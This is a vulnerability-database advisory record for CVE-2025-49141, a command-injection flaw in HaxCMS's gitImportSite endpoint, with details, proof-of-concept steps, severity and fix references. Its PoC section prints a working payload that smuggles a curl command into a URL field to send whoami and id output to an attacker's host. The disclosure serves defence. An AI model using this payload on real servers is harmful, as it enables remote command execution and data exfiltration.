{"id":"CVE-2025-49141","aliases":["GHSA-g4cf-pp4x-hqgw"],"url":"https://o3.security/vulnerability/CVE-2025-49141","summary":"HaxCMS-PHP Command Injection Vulnerability","details":"### Summary\nThe 'gitImportSite' functionality obtains a URL string from a POST request and insufficiently validates user input. The ’set_remote’ function later passes this input into ’proc_open’, yielding OS command injection.\n\n### Details\nThe vulnerability exists in the logic of the ’gitImportSite’ function, located in ’Operations.php’. The current implementation only relies on the ’filter_var’ and 'strpos' functions to validate the URL, which is not sufficient to ensure absence of all Bash special characters used for command injection.\n![gitImportSite](https://github.com/user-attachments/assets/af9935ef-4735-446d-833f-2c2590ff1508)\n\n#### Affected Resources\n• Operations.php:2103 gitImportSite()\n• \\<domain\\>/\\<user\\>/system/api/gitImportSite\n\n\n\n### PoC\nTo replicate this vulnerability, authenticate and send a POST request to the 'gitImportSite' endpoint with a crafted URL in the JSON data. Note, a valid token needs to be obtained by capturing a request to another API endpoint (such as 'archiveSite').\n\n1. Start a webserver.\n![webserver](https://github.com/user-attachments/assets/8594f9b1-67fa-4352-bbc3-310bb164ec9b)\n\n2. Initiate a request to the ’archiveSite’ endpoint.\n![archiveSite](https://github.com/user-attachments/assets/08503f36-d984-4d53-8fe6-577ad78d5eb7)\n\n3.  Capture and modify the request in BurpSuite.\n![request-modification](https://github.com/user-attachments/assets/61cd211e-afd3-453e-b86b-58bccffaf824)\n\n\n\n\n\n\n4. Observe command output in the HTTP request from the server.\n![command-output](https://github.com/user-attachments/assets/35f32274-b709-41d5-adaa-bea48f5cf33c)\n\n\n#### Command Injection Payload\n```Bash\nhttp://<IP>/.git;curl${IFS}<IP>/$(whoami)/$(id)#=abcdef\n```\n\n\n### Impact\nAn authenticated attacker can craft a URL string that bypasses the validation checks employed by the ’filter_var’ and ’strpos’ functions in order to execute arbitrary OS commands on the backend server. The attacker can exfiltrate command output via an HTTP request.","published":"2025-06-09T21:11:08.889Z","modified":"2026-08-12T03:51:32.099741243Z","cvss":{"score":8.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"@haxtheweb/haxcms-nodejs","fixedVersion":"11.0.3"}],"fix":{"url":"https://github.com/haxtheweb/haxcms-nodejs/commit/5131fea6b6be611db76a618f89bd2e164752e9b3","label":"haxtheweb/haxcms-nodejs@5131fea"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/49xxx/CVE-2025-49141.json"},{"type":"ADVISORY","url":"https://github.com/haxtheweb/issues/security/advisories/GHSA-g4cf-pp4x-hqgw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-49141"},{"type":"FIX","url":"https://github.com/haxtheweb/haxcms-nodejs/commit/5131fea6b6be611db76a618f89bd2e164752e9b3"},{"type":"PACKAGE","url":"https://github.com/haxtheweb/haxcms-nodejs"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:32.099741243Z"}}